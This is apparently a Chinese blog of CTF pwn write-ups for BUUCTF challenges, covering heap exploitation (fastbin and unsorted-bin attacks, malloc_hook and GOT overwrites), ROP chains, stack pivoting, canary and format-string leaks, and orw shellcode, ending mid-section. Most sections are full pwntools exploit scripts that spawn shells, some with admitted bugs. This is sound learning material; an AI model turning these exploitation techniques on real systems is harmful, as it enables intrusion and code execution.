复健2.0

主要是想做一些堆题,因为真的无从下手

但是没想到第二页还有那么多栈题,我想按顺序都做了就这样分类做做吧

wustctf2020_closed

close(1) 关闭了标准输出,close(2) 关闭了标准错误。另外,0 代表标准输入。

只要 exec 1>&0 就可以了

exec 也就是重定位在 Linux 里面

exec 1>&0 的意思就是将标准输出定位到标准输入的文件 . &+ 文件描述符, 可以指代该文件(进程)

而在同一个进程里面, 标准输出和标准输入的指向都是相同的终端。程序没有禁用标准输入,那我们输入一个开启输出的命令就好啦!

但是为什么我不成功

babyheap_0ctf_2017

是一个保护全开的堆题

获取 shell 的思路和栈题一样都是泄露 libc 基址调用其他函数。

源码是这样的:

Allocate:利用 alloc() 函数接受用户输入的 size 申请对应大小的堆块,并将数据部分置 0 (alloc 函数执行的操作)

Fill:根据用户输入的 size 读取对应长度的内容写入对应内存区域,没有对用户输入的长度size进行检验,可以随意填写

Free:释放掉用户选择的堆块并将对应的指针置零

Dump:输出指定堆块中的内容6

综上!我们能利用的就是 fill 这里任意写的功能!

首先写一个交互的函数吧方便后面分析和操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./pwn')

def allocate(size):
io.sendlineafter("Command:", '1')
io.sendlineafter("Size:", str(size))

def fill(index, content):
io.sendlineafter("Command:", '2')
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(len(content)))
io.sendafter("Content:", content)

def free(index):
io.sendlineafter("Command:", '3')
io.sendlineafter("Index:", str(index))

def dump(index):
io.sendlineafter("Command:", '4')
io.sendlineafter("Index:", str(index))

我们申请五个堆块,具体的用处会在后面提到:

1
2
3
4
5
allocate(0x10) #0
allocate(0x10) #1
allocate(0x80) #2
allocate(0x10) #3
allocate(0x60) #4

现在内存中这些堆块的分布是这样的:

我们首先要做的就是想办法泄漏 Main_arena 地址。

因为可以任意写,我们就可以构造 fake chunk 来泄露,通过越界写来伪造出一个能访问到下一块内存的堆块和一个假的 small chunk。

我们就可以通过 chunk1的 size 字段来扩大 chunk1 可以控制的内存范围,同时在修改后对应的 fakechunk 区域伪造一个对应的nextchunk_size,用来绕过 free 时的检查。

修改对应的内容就用 fill 函数来实现:

1
2
fill(0,p64(0)*3+p64(0x51))
fill(2, p64(0)*5+p64(0x91))

修改后,我们伪造的 chunk1 的内存范围就变成了下图:

由于此时我们只修改了堆块部分的size,程序中指针记录的 size 还没有改变,所以 dump 的时候会根据原先分配的大小进行输出。因此我们要把 chunk1 free 掉,然后再 allocate 一个 0x40 大小的堆块,这样就会申请到所谓大小是 0x40 字节的 fakechunk1。

1
2
free(1)
allocate(0x40)

同时,因为 bin 中的第一个 chunk 的 fdbk 指针会指向 main_arena 的固定偏移处,所以我们可以把原本真正的 chunk2 free掉,借 fakechunk1 的重叠区域把 main_arena 的地址输出。

需要注意一点是 alloc() 会把数据域置零,因为我们第二次申请的内存区域包含 chunk2 的 size 段,所以我们要先给它复原。

1
2
3
fill(1,p64(0)*3+p64(0x91))
free(2)
dump(1)

泄露出 main_arena 地址我们就可以计算出 malloc_hook 指针的地址啦。偏移都是固定的,在 main_arena - 0x10 处。

1
2
3
4
5
6
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
success("Libc base: " + hex(libc_addr))
onegg = onegg_offset + libc_addr

知识点:当 malloc_hook 指向某一个函数的时候,malloc 时优先会调用这个函数。

所以如果我们能在 malloc_hook 处伪造一个堆块,然后再来申请到这个伪造堆块,之后就可以通过往堆块里写数据的方法实现修改 malloc_hook 指向的值,把它指向 one_gadget 实现 getshell!

那我们怎样才能在 malloc_hook 处构造堆块呢?这就用到了 fastbin 的特点。fastbin 先进后出,靠一个 fd 指针组成的单链表来链接各个堆块。也就是说我们先后 free 了两个同样大小的 fastbin ab,再申请两个同样大小的堆块时,会先放出 b ,而第二个堆块的位置取决于原本的 b 的 fd 指针指向哪里。

所以!我们可以修改这个 “b” 的 fd 指针指向 malloc_hook 处,这样就会申请到它啦。

想要进入 fastbin, 就是我们一开始申请的大小为 0x60 的chunk4:

同时也不能忽略检查,我们在 malloc_hook 中伪造的堆块必须符合 fastbin 的大小,我们知道地址在内存中以 16 位存储的话都是以 7f 开头的,我们就可以在 malloc_hook 附近找:

正好是 malloc_hook-0x23 的位置就可以单独把这个 7f 拎出来:

那按照chunk的规则省略掉没用的低四位正好就是 0x70 ,可以当作 fake small chunk 的 size

这样我们填入 0x13 个无关字符,再填入 one_gadget ,其就修改了 malloc_hook 指向的函数了。

1
2
3
4
5
6
fake_small_bin_addr = malloc_hook_addr - 0x23
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))

总的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux', arch='amda64', log_level='debug')
io=remote('node5.buuoj.cn',27781)

libc=ELF('./libc.2.so.6')

def allocate(size):
io.sendlineafter("Command:", '1')
io.sendlineafter("Size:", str(size))

def fill(index, content):
io.sendlineafter("Command:", '2')
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(len(content)))
io.sendafter("Content:", content)

def free(index):
io.sendlineafter("Command:", '3')
io.sendlineafter("Index:", str(index))

def dump(index):
io.sendlineafter("Command:", '4')
io.sendlineafter("Index:", str(index))

allocate(0x10) #0
allocate(0x10) #1
allocate(0x80) #2
allocate(0x10) #3
allocate(0x60) #4

fill(0,p64(0)*3+p64(0x51))
fill(2, p64(0)*5+p64(0x91))

free(1)

allocate(0x40)

fill(1,p64(0)*3+p64(0x91))
free(2)
dump(1)
io.recvuntil("Content:")

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) -0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_small_bin_addr = malloc_hook - 0x23
onegg_offset = 0x4527a
one_gadget = onegg_offset+ libc_base

free(4)
fill(3, p64(0)*3+p64(0x71)+p64(fake_small_bin_addr))

allocate(0x60)
allocate(0x60)
fill(4, b"a" * 0x13 + p64(one_gadget))

allocate(1)
io.interactive()

又是本地可以远程不可以的一次,我通过泄露搜索到的 libc 是 2.23。我打不通去网上冲浪发现别人都有题目给的 libc,麻木了🥹

easyheap

程序有三个功能,分别是:1.create a heap 2.edit a heap 3. delete a heap

main函数这里有一个后门函数:

![](/img/复健/[ZJCTF 2019]EasyHeap-main.png)

l33t() 函数对应如下:

![](/img/复健/[ZJCTF 2019]EasyHeap-backdoor.png)

magic 存在在 .BSS 段,如果这个路径是正确的话,我们要做的是让它大于 0x1305 。但实际上 flag 并不在这个路径下,我们只能利用这里的 system 函数的 got 表。

create 和 delete两个模块就是正常的申请堆块和释放堆块的功能。edit 部分有漏洞:

在我们修改的时候它不会根据实际堆块的大小来确定接收的数据,而是根据用户输入的 size 来决定。所以我们可以造成堆溢出,来修改我们想要修改的内容。

先写一个用来和程序交互的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./easyheap')

def create(size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendafter("Content of heap:", content)

def edit(index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap : ", str(len(content)))
io.sendafter("Content of heap:", content)

def delete(index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index:", str(index))

我还是试过修改 magic 的大小来获取 flag 的,先把这个思路记录一下

如果路径正确我们可以利用 unsortedbin attack ,释放一个 chunk 到 unsortedbin,修改其 bk 指针指向一个伪造的 fake_chunk(magic-0x10),将堆块申请到 magic 的位置,修改”堆块“数据内容绕过后门函数的检查。

当将一个 unsorted bin 取出的时候,会在 bck->fd 的位置写入本 unsorted bin 的位置。

所以我们修改真正的堆块(chunk1)的 bk 指针为需要修改的 magic-0x10 的地址,这样,对应的fakechunk的 fd 指针就会存储 chunk1 的地址,magic 的值就会变得很大很大,从而实现绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
create(0x10,b'aaa')
create(0x80,b'aaa')
create(0x80,b'aaa')

delete(2)

magic=0x06020C0
fd=0
bk=magic-0x10
payload=b'a'*(0x10)+p64(0x20)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)

create(0x80,b'aaa')

io.sendlineafter("Your choice :", '4869')

哈哈哈,可能是因为 BUUCTF 没搞对存储 flag 的位置吧,反正是显示没有这个文件的。

我们就只能采用 fastbin house of sprit ,修改 free 的 got 表为 system 的方法来获取 shell 了

首先创建三个 chunk,free(2),chunk2 就会进入 fastbins 。再通过 edit 函数编辑 chunk1,通过堆溢出覆盖 chunk2 的 fd 指针,将 fd 指针修改成 fake_chunk。同时需要注意 fake_chunk 得要能绕过malloc函数的检查,随后我们 malloc 两次,第二次就能将这个fake_chunk 创建出来,之后,我们就可以通过 edit 函数进行编辑这个 fake_chunk 啦。

那么如何修改 free 的 got 表为 system 呢?因为程序中在 heaparray 记录了每个堆块的位置指针,我们可以修改堆块 0 的指针为 free的 got 地址。这样我们再修改堆块 0 ,就是修改 free 的 got 表里存储的地址,我们修改它 got 表里的地址为 system 函数,再加上我们把某一个堆块里的内容设置为/bin/sh,那我们 free 这个堆块就相当与 system('/bin/sh),就打通题目了。

由此我们来确定 fakechunk 的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./easyheap')

def create(size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendafter("Content of heap:", content)

def edit(index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap : ", str(len(content)))
io.sendafter("Content of heap:", content)

def delete(index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index:", str(index))

create(0x10,b'aaa')
create(0x60,b'aaa')
create(0x60,b'aaa')

heaparray_addr=0x06020E0
gdb.attach(io)
pause()

![](/img/复健/[ZJCTF 2019]EasyHeap-fakechunk.png)

可以找到heaparray 这附近有一个地址数据,我们可以利用地址数据开头的 0x7f 来充当 fakechunk 的 size 位,绕过检查。

所以就是 0x06020ad ,数据域就是从 bd 段开始的,我们要修改到 array[0] 要填充 e0-bd=0x23 的数据

![](/img/复健/[ZJCTF 2019]EasyHeap-addr.png)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./easyheap')
elf=ELF('./easyheap')

free_got = elf.got["free"]
system_addr=0x0400700

def create(size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendafter("Content of heap:", content)

def edit(index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap : ", str(len(content)))
io.sendafter("Content of heap:", content)

def delete(index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index:", str(index))

create(0x10,b'aaa') #0
create(0x60,b'aaa') #1
create(0x60,b'/bin/sh\x00') #2

fakechunk=0x06020ad

delete(1)
edit(0,p64(0)*3+p64(0x71)+p64(fakechunk))

create(0x60,b'aaa')
create(0x60,b'aaa')

edit(3,b'a'*0x23+p64(free_got))

edit(0,p64(system_addr))
delete(2)

io.interactive()

怎么回事😅

![](/img/复健/[ZJCTF 2019]EasyHeap-baji.png)

hitcontraining_magicheap

这道题就是上面那个 easyheap 的 ret2text 正确版,再回忆一遍!

在程序中有后门函数,需要满足一定的条件:

菜单中对应功能:

  1. create:

  1. edit:

  1. delete:

好的这样看来就是,edit 那里可以利用了!

前面 main 函数中提到后门函数的两个条件,一个是 choice=4869 ,一个是 magic>0x1305

我们利用 unsortedbin attack ,释放一个正常的堆块,再通过溢出修改其 bk 指针,将 magic 伪装成成 fakechunk 链入 unsortedbin 链表。这样我们第二次申请 chunk 时,就会申请到 magic。

可以这样改也可以把 magic 构造成 fakechunk 的 fd 指针,这样我们取出第一个正常的块时,就会在会在 bck->fd 的位置写入这个被取出的 unsorted bin 的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=remote('node5.buuoj.cn',29726)

def create(size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendafter("Content of heap:", content)

def edit(index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap : ", str(len(content)))
io.sendafter("Content of heap :", content)

def delete(index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index :", str(index))



create(0x10,b'aaa')
create(0x80,b'aaa')
create(0x80,b'aaa')

delete(1)

magic=0x06020A0
fd=0
bk=magic-0x10
payload=b'a'*(0x10)+p64(0x20)+p64(0x91)+p64(fd)+p64(bk)
edit(0,payload)

create(0x80,b'aaa')

io.sendlineafter("Your choice :", '4869')
io.interactive()

ROP

jarvisoj_level3_x64

题目就是按照套路来,需要先泄露栈基址,根据偏移计算所需数据的地址,然后调用 system('/bin/sh')

这个函数能供我们泄露的只有 write 和 read 了。我们想要让系统输出,只能调用 write 函数,而 write 的原型 write(int fd, const void \*buf, size_t count); ,需要传三个参数。

我们只能通过 ropgadget 找到 rdi ,rsi,对应的我们在 pop rsi ,对应的汇编代码里发现了 pop r15,也可以拿来利用。

依旧是套路直接搞就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import LibcSearcher
io=remote('./pwn')
elf=ELF('./pwn')

pop_rdi=0x04006b3
pop_rsi_r15=0x04006b1

main= elf.symbols['main']
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)
io.recvuntil('Input:\n')
io.sendline(payload)

write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("write_addr:"+hex(write_addr))

libc=LibcSearcher('write',write_addr) #利用LibcSearcher模块找到匹配的libc版本
base=puts_addr-libc.dump('write') #利用的时候不一定是puts溢出
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.recvuntil('Input:\n')
io.sendline(payload)

io.interactive()

BUUCTF 又欺我,上面的 libc 是2.19 的,我打不通用 LibcSearch 找发现是 2.23 的😑

mrctf2020_shellcode

刚开始就遇到了意外:

没法生成伪代码,找了解决方案但是好像都不管用。反正这个代码也不难直接看也行:

重点就是图上框起来的地方,因为 NX 保护没开,我们预计直接向栈上写shellcode ,也不用填充缓冲区。

1
2
3
4
5
6
7
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

jarvisoj_level4

简简单单的套路题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386',os='linux')

sh=process('./pwn')
elf=ELF('./pwn')

main_addr= 0x0804844B
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload)

write_addr = u32(sh.recv(4))
print(hex(write_addr))

libc=LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

payload=b'a'*(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
sh.sendline(payload)
sh.interactive()

但是又是本地打得通远程打不通的一次:

本地

远程

可能是我脚本有问题?欢迎路过的大佬指正🥹

inndy_rop

是一道静态编译的题目,就是 IDA 里面反编译之后看着很复杂调用了很多函数的样子,其实就是本地静态编译的。这样我们就没法利用 ret2libc 来攻击了,因为程序压根就不会调用动态 Libc 库。

overflow() 函数里有一个 get() 函数可以随意栈溢出,但是程序又开启了 nx 不可执行保护,我们也没办法向栈上写 shellcode。

只能从程序里找片段拼凑,ropgadget有一个现成的功能可以利用:

1
$ ROPgadget --binary rop --ropchain

它就是可以直接给你把 shellcode 写好,你复制到 exp 里就行

要调用一个 pack 头文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from struct import pack
context(log_level='debug',arch='i386',os='linux')

sh=remote('node5.buuoj.cn',28402)

p = b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

sh.sendline(p)
sh.interactive()

jarvisoj_test_your_memory

运行的时候会先输出一个长度为 10 的随机字符,随后输出一个地址,这个地址存储着 “cat flag” 字符串。

同时程序中存在 system 函数:

mem_test 函数中的逻辑如下:

在 if 判断部分会将我们的输入与 s2 也就是最开始的随机字符串比较。(虽然但是我感觉判断结果不会影响什么

可以通过 scanf 造成栈溢出覆盖返回地址为 system 并向它传参 “cat flag” 即可。

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh=remote('node5.buuoj.cn',28407)

system_addr=0x8048440
cat_flag=0x080487E0
main_addr=0x08048677

payload=b'a'*(0x13+4)+p32(system_addr)+p32(main_addr)+p32(cat_flag)
sh.sendline(payload)
sh.interactive()

[Black Watch 入群题]PWN

主要的漏洞代码如下:

这其中 s 被存储在 BSS 段,我们可以控制输入 0X200 长度的字符。接下来第二个 read 只能读入 0x20 长度,buf 就有 0x18 。

所以我们可以将 rop 链构造在 .BSS 段上,再通过第二个 read 控制程序跳转到此处执行 shellcode 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386',os='linux')

sh=process('./pwn')
elf=ELF('./pwn')

vuln= 0x0804849B
bss=0x0804A300
leave_ret=0x08048408
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload1=p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
sh.recvuntil("name?")
sh.sendline(payload1)

sh.recvuntil("say?")
payload2=b'a'*0x18+p32(bss-4)+p32(leave_ret)
sh.sendline(payload2)
write_addr = u32(sh.recv(4))
print(hex(write_addr))

libc=LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

sh.recvuntil("name?")
payload1=p32(system)+p32(0)+p32(bin_sh)
sh.sendline(payload1)

sh.recvuntil("say?")
sh.sendline(payload2)

sh.interactive()

我说你能不能按时检查一下服务器修一修呢 BUUCTF

xdctf2015_pwn200

还是很普通的溢出题,但是不知道为啥打不通

去搜了别人的 wp ,发现别人怎么都有 libc 文件。但是我用 libcsearcher 匹配不到 libc2.23🥹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386',os='linux')

sh=remote('node5.buuoj.cn',26325)
#sh=process('./bof')
elf=ELF('./bof')

main_addr= 0x80484D6
write_plt = elf.plt["write"]
write_got = elf.got["write"]

padding=b'a'*(0x6c+4)
payload=padding+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)

write_addr=u32(sh.recvuntil('\xf7')[-4:])
print(hex(write_addr))

libc=LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh_addr = libc_base+libc.dump('str_bin_sh')

payload2 =padding+p32(system_addr)+p32(0)+p32(bin_sh_addr)
sh.sendline(payload2)
sh.interactive()

ciscn_2019_s_4

感觉和 ciscn_2019_s_2 一模一样🙂

溢出长度是 0x10 ,所以就打栈迁移,还有现成的 system 函数和骗人的 “echo flag”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r=remote('node5.buuoj.cn',28389)sys=0x8048400

leave_ret=0x08048562
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
ebp=u32(r.recv(4))
s=ebp-0x38
payload2=b'aaaa'+p32(sys)+p32(1)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
r.send(payload2)
r.interactive()

好好,一摸一样😅

others_babystack

是一个菜单题,它一直循环接受用户请求,main 函数中的漏洞如下:

我们就可以先通过 read 溢出泄露 libc 基址再改写 puts 的 got 表为 system ,然后输入 ‘/bin/sh’ 后就可以执行

sysytem('/bin/sh')

需要注意这个程序开启了 canary 保护,我们需要先泄露一下 canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn')
elf = ELF('./pwn')

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi=0x0400a93
ret=0x040067e

def store(content):
io.sendlineafter(">> ",'1')
io.sendline(content)

def print():
io.sendlineafter(">> ",'2')


store(b'a'*(0x90+7)+b'b')
canary = int(io.recvuntil(b'aaab')[:-1], 16)

payload=b'a'*(0x90+8) + p64(canary) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
store(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(puts_addr)

libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
binsh=base+next(libc.search(flat("/bin/sh")))
system=base+libc.dump('system')

payload=b'a'*(0x90+8) + p64(canary) + p64(pop_rdi) + p64(binsh) + p64(ret)+ p64(system)
store(payload)

io.interactive()

格式化字符串

bjdctf_2020_babyrop2

函数开启了canary保护

gift 函数中存在格式化字符串漏洞:

我们可以控制这个 format ,达到任意地址读写的作用。

vuln 函数中的栈溢出漏洞可以供我们构造 rop 链:

由于开启了 canary 保护利用 printf 任意地址读的特点来泄露 canary 的值。

由于只能读入六字节,就不用 %p 这种套路计算在栈上的偏移了,直接断点下在 printf 看栈结构。当然也可以一个一个试🙂

在这个格式化字符串中,fmt 在栈上的偏移是 6。canary 是在 rbp+8 处,在这个函数中 canary 的偏移是7。

接下来就可以利用 read 函数和 puts 函数泄露基质然后构造 rop 链了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import LibcSearcher
context(arch = "amd64",os= "linux")
context.log_level = 'debug'
sh=remote('node5.buuoj.cn',28418)
elf=ELF('./pwn')

pop_rdi=0x0400993

vuln=elf.sym['vuln']
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

sh.recvuntil('help u!\n')
sh.sendline(b'%7$p')
sh.recvuntil("0x")
canary=int(sh.recv(16),16)
padding=b'a'*0x18+p64(canary)+b'a'*8

sh.recvuntil('story!\n')
payload=padding+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
sh.sendline(payload)

puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

sh.recvuntil('story!\n')
payload=padding+p64(pop_rdi)+p64(bin_sh)+ p64(system)
sh.sendline(payload)

sh.interactive()

axb_2019_fmt32

一道格式化字符串的题

在字符串漏洞之前有一个 if 的判断,我本来看错了,看成 if(strlen(format>0x10E)) {printf(format);},研究了半天没研究明白怎么绕过它🥹。

我们先计算出字符串在栈上的偏移,然后泄露出基址,再进行后续的操作

泄露地址偏移我用的就是最简单粗暴的 “AAAA%p%p%p%p%p%p%p%p%p”

输出结果是:AAAA 0x804888d 0xfff0fc9f 0xf7fa753c 0xfff0fca8 0xf7f835c5 0x2f 0x41f0fd94 0x25414141 0x25702570

可以看到我们的输入的 AAAA 被装换成 ascii 码存储在栈上偏移为 8 的位置,但是其中一个 ‘A’ 和其他的分开存储在第 7 位。我们只需要在需要利用的字符前加一个八位二进制的字符比如一个字母就可以让目标 payload 全部稳稳的在偏移为8的位置啦!

顺便回忆一下 fmtstr_payload 的用法:(因为我发现我好像不记得了)

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

  • 第一个参数 offset 表示格式化字符串的偏移
  • 第二个参数 writes 表示需要利用 %n 写入的数据,采用字典形式。比如这次我们要将 printf 的 GOT 改为 system ,就写成{printf_got:system_addr}
  • 第三个参数 numbwritten 表示已经输出的字符个数
  • 第四个参数 write_size 表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')

r = process("./pwn")
elf=ELF("./pwn")

printf_got = elf.got['printf']

payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr"+hex(printf_addr))

libc=LibcSearcher('printf',printf_addr)

libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')

payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)

r.sendline(b';/bin/sh\x00')
r.interactive()

orw

pwnable_orw

题如其名,orw ,开启了防护,我们只能利用 open、read、 write 三个函数来读取 flag 并输出。

没有开启 NX 保护,我们可以直接像栈上构造 shellcode 。

  • sys_open(const char __user *filename, int flags, int mode)
1
2
3
4
5
6
7
push 0x0      #/x00
push 0x67616c66 #'flags'小端序
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)
  • sys_read(unsigned int fd, char __user * buf, size_t count)
1
2
3
4
mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x102; #对应字节数 int 0x80;
  • sys_write(unsigned int, fd, const char __user *, buf, size_t, count))
1
2
3
mov eax,0x4;  # eax = sys_write 
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;

冲浪才知道原来 pwntools 的 shellcraft 还可以指定生成 orw 对应的 shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./orw')

shellcode=shellcraft.open('./flag')
shellcode+=shellcraft.read('eax','esp',100)
shellcode+=shellcraft.write(1,'esp',100)

shellcode=asm(shellcode)

io.sendline(shellcode)
io.interactive()

bjdctf_2020_router

可能是模拟了一个路由器?

直接在main 函数里面实现的所有功能,其中选择一 ping 选项对应下面的代码:

